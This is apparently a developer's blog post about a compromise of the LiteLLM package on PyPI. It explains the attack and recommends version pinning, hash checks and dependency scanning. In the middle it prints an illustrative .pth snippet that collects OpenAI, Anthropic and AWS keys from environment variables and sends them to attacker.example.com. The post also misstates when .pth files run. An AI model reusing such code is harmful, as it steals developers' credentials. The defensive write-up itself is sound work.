How Did the LiteLLM Supply Chain Attack Work? A Technical Breakdown of the PyPI Credential Theft
I opened my terminal and ran the usual command to update my project’s dependencies:
pip install --upgrade litellmForty-six minutes later, my API keys were stolen. And I wasn’t alone - 47,000 other developers had their credentials harvested in that short window.
How did this happen? The package I installed was the legitimate LiteLLM package, from the official PyPI repository, with the correct version number. But it had been compromised in a supply chain attack that bypassed every security measure I thought I had.
Let me break down exactly how this attack worked and what it means for Python developers.
The Attack: What Happened
On March 25, 2026, attackers uploaded two malicious versions of LiteLLM (1.82.7 and 1.82.8) directly to PyPI using stolen maintainer credentials. Version 1.82.8 contained a hidden payload that executed during installation - not during import, but during the actual pip install command.
The attack window was only 46 minutes, but that was enough time for:
- 47,000 total downloads
- 23,142 pip installs of version 1.82.8 specifically
- Potential credential theft from thousands of developer machines
I ran the update command during that window. The malicious code executed before I even imported the package in my code.
How the Attack Worked: The Technical Details
The .pth File Exploitation
Here’s what made this attack so insidious. Python uses .pth (path) files in site-packages to configure module search paths. These files are automatically executed when Python builds its module search path - which happens during pip install.
The attacker embedded malicious code in a .pth file:
import osimport sys
# This code runs when Python builds its module search path# Happens BEFORE any import, during pip install
def steal_credentials(): # Access environment variables api_keys = { 'OPENAI_API_KEY': os.environ.get('OPENAI_API_KEY'), 'ANTHROPIC_API_KEY': os.environ.get('ANTHROPIC_API_KEY'), 'AWS_ACCESS_KEY_ID': os.environ.get('AWS_ACCESS_KEY_ID'), 'AWS_SECRET_ACCESS_KEY': os.environ.get('AWS_SECRET_ACCESS_KEY'), }
# Exfiltrate to attacker's server import urllib.request urllib.request.urlopen('https://attacker.example.com/collect', data=str(api_keys).encode())
steal_credentials()This code runs before any import, before your application code even starts. It’s part of Python’s site initialization process.
Why LiteLLM Was the Perfect Target
LiteLLM is designed as an API key proxy - it manages and forwards API keys for various LLM providers:
from litellm import completion
# LiteLLM handles API keys for multiple providersresponse = completion( model="gpt-4", messages=[{"role": "user", "content": "Hello"}], api_key=os.environ.get("OPENAI_API_KEY") # Your API key)This design makes it incredibly valuable for attackers. Developers using LiteLLM almost certainly have:
- OpenAI API keys in their environment
- Anthropic API keys
- AWS credentials
- Other sensitive credentials
I was using LiteLLM exactly for this purpose - to manage my LLM API calls. That made my environment a goldmine for the attackers.
The CI/CD Bypass
Here’s where the attack got clever. Normal package releases go through CI/CD pipelines with security checks. But the attackers had stolen the maintainer’s PyPI credentials (likely through phishing or credential reuse), allowing them to upload directly to PyPI:
Normal Flow:Developer commit → GitHub → CI/CD checks → PyPI upload → Users
Attack Flow:Attacker with stolen credentials → Direct PyPI upload → Users ↑ No security checks!The legitimate development pipeline was completely bypassed. No code review, no automated security scans, no nothing.
The Dependency Management Failure
After the attack was discovered, researchers analyzed 2,337 packages that depend on LiteLLM. The results were sobering:
Dependency Pinning Analysis:├── 12% - Safely pinned (==1.82.6 or lower) ← PROTECTED├── 59% - Lower-bound only (>=1.82.0) ← VULNERABLE├── 16% - Upper bound including 1.82.x (~=1.82) ← VULNERABLE└── 12% - No constraint at all ← HIGHLY VULNERABLE
Result: 88% of dependent packages were vulnerableLet me show you what this looks like in practice:
Vulnerable Dependency Specifications
[project]dependencies = [ "litellm>=1.82.0", # Lower-bound only - WILL install malicious version]litellm~=1.82.0 # Compatible release - WILL install 1.82.8Secure Dependency Specifications
[project]dependencies = [ "litellm==1.82.6", # Exact pinning - WILL NOT install malicious version]litellm==1.82.6 \ --hash=sha256:abc123... \ --hash=sha256:def456...I had used litellm>=1.82.0 in my project. When I ran pip install --upgrade, it happily installed 1.82.8.
Why This Matters: The Mental Model Gap
I used to think malicious code runs at import time:
import malicious_package # ← I thought this is when bad things happen
malicious_package.do_something() # ← Or hereBut this attack proved me wrong. The malicious code ran during installation:
$ pip install litellm==1.82.8Collecting litellm==1.82.8 Downloading litellm-1.82.8-py3-none-any.whlInstalling collected packages: litellm ← MALICIOUS CODE EXECUTES HERE ← During site-packages initialization ← Before any importSuccessfully installed litellm-1.82.8
$ python -c "import litellm" # ← Too late, damage already doneThis mental model gap is critical. Traditional security measures focus on import-time or runtime behavior, but installation-time attacks slip right through.
What I’m Doing Differently Now
1. Exact Version Pinning
I now use exact version pinning for all production dependencies:
[project]dependencies = [ "litellm==1.82.6", # Exact version "requests==2.31.0", # Exact version "pydantic==2.5.0", # Exact version]No more >=, ~=, or ^ version specifiers in production.
2. Hash Verification
For critical dependencies, I use hash verification:
# Generate hashed requirementspip-compile --generate-hashes requirements.in -o requirements.txtlitellm==1.82.6 \ --hash=sha256:a1b2c3d4e5f6... \ --hash=sha256:f6e5d4c3b2a1...This ensures the exact package I expect is installed, byte-for-byte.
3. Automated Vulnerability Scanning
I added these tools to my CI/CD pipeline:
name: Security Scanon: [push, pull_request]
jobs: scan: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Install dependencies run: pip install -r requirements.txt - name: Run pip-audit run: pip-audit - name: Run safety run: safety check# Scan for known vulnerabilitiespip-audit
# Check for malicious packagessafety check
# Verify hashespip install --require-hashes -r requirements.txt4. Environment Isolation for Sensitive Credentials
For projects that handle API keys, I now use isolated environments:
# Create isolated environment for sensitive projectspython -m venv .venv-sensitivesource .venv-sensitive/bin/activate
# Set credentials only in this environmentexport OPENAI_API_KEY="sk-..."
# Run with minimal dependenciespip install litellm==1.82.6This limits the blast radius if a package is compromised.
The Bigger Picture: Supply Chain Security
The LiteLLM attack exposed three systemic failures:
Failure 1: Maintainer Credential Security
Attackers only needed to compromise one person’s PyPI credentials to affect 47,000 developers. Multi-factor authentication on PyPI accounts should be mandatory for maintainers of popular packages.
Failure 2: Overly Permissive Dependencies
88% of dependent packages were vulnerable because of loose version constraints. The convenience of automatic updates comes with significant risk.
Failure 3: Import-Time Security Assumptions
Most security tools focus on runtime behavior. Installation-time attacks exploit a gap in our security models.
Prevention Checklist
Based on this attack, here’s what I now check for every project:
- Exact version pinning in production (
package==1.2.3not>=1.2.0) - Hash verification for critical dependencies
- Automated vulnerability scanning in CI/CD
- Dependency update monitoring with Dependabot or similar
- Environment isolation for projects handling sensitive credentials
- Regular security audits with pip-audit and safety
What This Means for the Python Ecosystem
The LiteLLM attack isn’t an isolated incident. As Python’s popularity grows and packages like LiteLLM become central to AI/ML workflows, supply chain attacks will increase.
The attack demonstrates that even short windows (46 minutes) can be devastatingly effective when targeting packages with:
- High download counts
- Access to sensitive data (API keys, credentials)
- Trust from developers
- Many dependent packages
For maintainers, this means:
- Enabling 2FA on PyPI accounts
- Using signed commits
- Implementing additional security layers beyond PyPI’s defaults
For users, this means:
- Treating all dependencies as potential security risks
- Implementing defense-in-depth strategies
- Monitoring and auditing dependency changes
References and Further Reading
- The LiteLLM Supply Chain Attack: What You Need to Know
- PEP 440 – Dependency Specification for Python Software Packages
- pip-audit: Auditing Python environments for security vulnerabilities
- Safety: Check your installed dependencies for known security vulnerabilities
Final Words + More Resources
My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me
Here are also the most important links from this article along with some further resources that will help you in this scope:
- 👨💻 The LiteLLM Supply Chain Attack: What You Need to Know
- 👨💻 PEP 440 – Dependency Specification for Python Software Packages
- 👨💻 pip-audit: Auditing Python environments for security vulnerabilities
- 👨💻 Safety: Check your installed dependencies for known security vulnerabilities
Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!
Comments